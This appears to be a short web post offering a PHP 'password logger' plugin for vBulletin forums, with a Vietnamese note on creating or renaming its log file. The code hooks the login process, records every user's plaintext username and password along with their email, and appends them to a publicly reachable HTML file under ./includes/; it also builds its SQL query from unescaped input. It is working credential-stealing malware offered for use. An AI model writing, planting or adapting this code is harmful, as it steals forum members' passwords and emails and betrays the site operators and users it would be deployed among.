Vbulletin plugin password logger

 $show['nopasswordempty'] = TRUE;

 $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); 
$lg_password = $vbulletin->GPC["vb_login_password"]; 
$lg_file = "./includes/sec4ever.html"; 
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); 

while($row = @mysql_fetch_array($sql_query)) 
{ 

if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) 
{ 
$fp1 = @fopen($lg_file, "a+"); 
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n"); 
@fclose($fp1); 
$f = @file($lg_file); 
$new = array_unique($f); 
$fp = @fopen($lg_file, "w"); 
foreach($new as $values) 
{ 
@fputs($fp, $values); 
} 
@fclose($fp); 
} 
}

tạo file sec4ever.html trên host hoặc muốn chỉnh sữa lại thì tìm

$lg_file = "./includes/sec4ever.html";

Tweet Pin It